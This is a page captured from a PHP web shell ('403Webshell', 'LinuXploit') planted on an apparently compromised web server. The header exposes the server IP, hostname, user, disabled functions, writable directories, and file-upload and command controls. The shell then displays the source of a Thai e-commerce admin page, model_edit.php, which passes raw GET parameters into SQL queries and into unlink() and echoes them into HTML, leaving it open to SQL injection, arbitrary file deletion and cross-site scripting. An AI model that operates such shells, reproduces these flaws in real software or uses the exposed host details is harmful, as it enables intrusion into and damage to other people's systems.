403Webshell
Server IP : 103.233.193.20  /  Your IP : 216.73.216.169
Web Server : Apache/2
System : Linux host1.itclever.com 4.18.0-553.16.1.el8_10.x86_64 #1 SMP Thu Aug 8 17:47:08 UTC 2024 x86_64
User : oriscomadm ( 1120)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/oriscomadm/domains/oriscom.com/private_html/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/oriscomadm/domains/oriscom.com/private_html/admin/model_edit.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ระบบหลังร้าน</title>
<link type="text/css" rel="stylesheet" href="css/common.css">
<link type="text/css" rel="stylesheet" href="css/style.css">

<!-- Check Form -->
<script src="../js/jquery-latest.min.js" type="text/javascript"></script>
<script type="text/javascript" src="js/checkform/jquery.validate.js"></script>
<script type="text/javascript" src="js/checkform/jquery.start.js"></script>

<!-- Load TinyMCE -->
<script type="text/javascript" src="js/tiny-mce/jquery.tinymce.js"></script>
<script language="javascript" type="text/javascript" src="js/tiny-mce/tiny_mce.js"></script>
<script language="javascript" type="text/javascript" src="js/tiny-mce/general.js"></script>
<script type="text/javascript">
$(document).ready(function () {
	//setupTinyMCE();
	setupProgressbar('progress-bar');
	setDatePicker('date-picker');
	setupDialogBox('dialog', 'opener');
	$('input[type="checkbox"]').fancybutton();
	$('input[type="radio"]').fancybutton();
});
</script>
<!-- /TinyMCE -->

<script language="javascript">
function Confirm(object){
	if(confirm('You are Sure DELETE')==true){
		return true;
	}
		return false;		
}
</script>
</head>
<body id="admin">
	<div id="wrapper_admin">
    
		<?php 
		require_once("include/header.php");
		$table = "product_iv";
		if($_GET['del']){
			$path = PATH;
			@unlink($path."/".$_GET['picname']);
			mysql_query("UPDATE $table SET $_GET[del]='' WHERE id='".$_GET['id']."'");
		}
		$sql = "SELECT * FROM $table WHERE id='".$_GET['id']."'";
		$rs = mysql_query($sql);
		$arr = mysql_fetch_array($rs);
		if($arr['shows']==0){$show='';}
		if($arr['shows']==1){$show='checked';}
		
		$target1 = $arr['target']==1 ? 'checked' : '';
		$display1 = $arr['target']==1 ? '' : 'style="display:none;"';
		$target2 = $arr['target']==2 ? 'checked' : '';
		$display2 = $arr['target']==2 ? '' : 'style="display:none;"';
		?>
		<div id="wrapper_centent">
        
        <br />
        
        	<form action="function.php" method="post" enctype="multipart/form-data">
            <input type="hidden" name="action" value="model_edit" />
            <input type="hidden" name="table" value="<?php echo $table?>" />
            <input type="hidden" name="id" value="<?php echo $arr['id']?>" />
            <input type="hidden" name="back" value="<?php echo $_GET['cid']?>" />
            <input type="hidden" name="back2" value="<?php echo $_GET['sid']?>" />
            <input type="hidden" name="back3" value="<?php echo $_GET['mid']?>" />
            <input type="hidden" name="file" value="<?php echo $arr['link']?>" />
            <input type="hidden" name="oldpic" value="<?php echo $arr['image']?>" />
			<table width="100%" border="0" cellspacing="0" cellpadding="0" class="tbl">
              <tr class="head_tbl">
              	<td colspan="2"><h2><div><a href="model.php?cid=<?php echo $_GET['cid']?>&sid=<?php echo $_GET['sid']?>&mid=<?php echo $_GET['mid']?>">Level Up</a> | ปรับปรุงข้อมูล</div></h2></td>
              </tr>
              <tr>
                <td width="19%">Category</td>
                <td width="81%" style="text-align:left;"> &nbsp;&nbsp;
                <select name="type" class="required">
                <option value="">เลือกหมวดสินค้า</option>
				<?php
                $sql2="SELECT * FROM product_iii";
                $result = mysql_query($sql2);
                while($sclass=mysql_fetch_array($result)){
					$sql3=mysql_query("SELECT * FROM product_ii WHERE id='".$sclass['Lid']."'");
					$PL2=mysql_fetch_array($sql3);
					$sql4=mysql_query("SELECT * FROM product_i WHERE id='".$PL2['Lid']."'");
					$PL1=mysql_fetch_array($sql4);
					if($arr['Lid']==$sclass['id']){$selected="selected";}else{$selected="";}
						echo '<option value="'.$sclass['id'].'" '.$selected.'>'.$PL1['nameth'].' &rarr; '.$PL2['nameth'].' &rarr; '.$sclass['nameth'].'</option>';
				}
                ?>
                </select>
                </td>
              </tr>
              <tr>
                <td width="19%">ชื่อรายการ &nbsp;<img src="images/flag_th.png" /></td>
                <td width="81%" style="text-align:left;"> &nbsp;&nbsp;<input type="text" name="name" class="input_text medium required" value="<?php echo $arr['nameth']?>" /></td>
              </tr>
              <tr>
                <td width="19%">ชื่อรายการ &nbsp;<img src="images/flag_en.png" /></td>
                <td width="81%" style="text-align:left;"> &nbsp;&nbsp;<input type="text" name="nameEN" class="input_text medium required" value="<?php echo $arr['nameen']?>" /></td>
              </tr>
              <tr class="head_tbl">
                <td width="19%">เลือกปลายทาง</td>
                <td colspan="2" style="text-align:left;"> &nbsp;&nbsp;<input type="radio" name="target" id="target1" value="1" <?php echo $target1?> />&nbsp; ใส่ลิงค์ &nbsp;&nbsp;&nbsp;<input type="radio" name="target" id="target2" value="2" <?php echo $target2?> />&nbsp; ใส่ไฟล์</td>
                </tr>
              <tr id="link" <?php echo $display1?>>
                <td width="19%">ปลายทาง</td>
                <td colspan="2" style="text-align:left;"> &nbsp;&nbsp;<input type="text" name="link" class="input_text large" value="<?php echo $arr['link']?>" /></td>
                </tr>
              <tr id="file" <?php echo $display2?>>
                <td width="19%">Download</td>
                <td width="81%" style="text-align:left;"><div style="float:left;"> &nbsp;&nbsp;<input type="file" name="FileUpload2" />&nbsp;<a href="<?php echo PATH.'/'.$arr['link']?>" target="_blank">View</a></div></td>
              </tr>
              <tr>
                <td width="19%">ลำดับ</td>
                <td colspan="2" style="text-align:left;"> &nbsp;&nbsp;<input type="text" name="sort" class="input_text small digits" value="<?php echo $arr['sort']?>" /></td>
                </tr>
              <tr class="head_tbl">
                <td width="19%">ภาพหลัก</td>
                <td width="81%" style="text-align:left;"><div style="float:left;"> &nbsp;&nbsp;<input type="file" name="FileUpload" />&nbsp;450 x 290 pixels</div></td>
              </tr>
              <?php if(!empty($arr['image'])){?>
              <tr class="head_tbl">
                <td width="19%">ภาพตัวอย่าง</td>
                <td colspan="2" style="text-align:left;">&nbsp;&nbsp;<img src="<?php echo PATH?>/<?php echo $arr['image']?>" width="200" />&nbsp;<a href="?del=image&picname=<?php echo $arr['image']?>&id=<?php echo $arr['id']?>"><img src="images/delete.png" /></a></td>
              </tr>
              <?php }?>
              <!--
              <tr class="head_tbl">
                <td width="19%">รายละเอียด &nbsp;<img src="images/flag_th.png" /></td>
                <td colspan="2" style="text-align:left;"> &nbsp;&nbsp;<textarea name="detail" id="" cols="60" rows="7" class="tinymce"><?=$arr['detailth']?></textarea></td>
              </tr>
              <tr class="head_tbl">
                <td width="19%">รายละเอียด &nbsp;<img src="images/flag_en.png" /></td>
                <td colspan="2" style="text-align:left;"> &nbsp;&nbsp;<textarea name="detailEN" id="detail1" cols="60" rows="7" class="tinymce"><?=$arr['detailen']?></textarea></td>
              </tr>
              -->
              <tr>
                <td width="19%">แสดงรายการ</td>
                <td colspan="2" style="text-align:left;">&nbsp;&nbsp;<input type="checkbox" name="shows" value="1" <?php echo $show?> /></td>
              </tr>
              <tr>
                <td width="19%">&nbsp;</td>
                <td width="81%"><div style="float:left;"> &nbsp;&nbsp;<input type="submit" class="btn_medium" value="Submit" /></div></td>
              </tr>
			</table>
			</form>
            
	  </div>
	</div>
</body>
</html>
<script>
$( "input[id='target1']" ).on( "click", function() {
	 $('#link').show()
	 $('#file').hide()
});

$( "input[id='target2']" ).on( "click", function() {
	 $('#file').show()
	 $('#link').hide()
});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit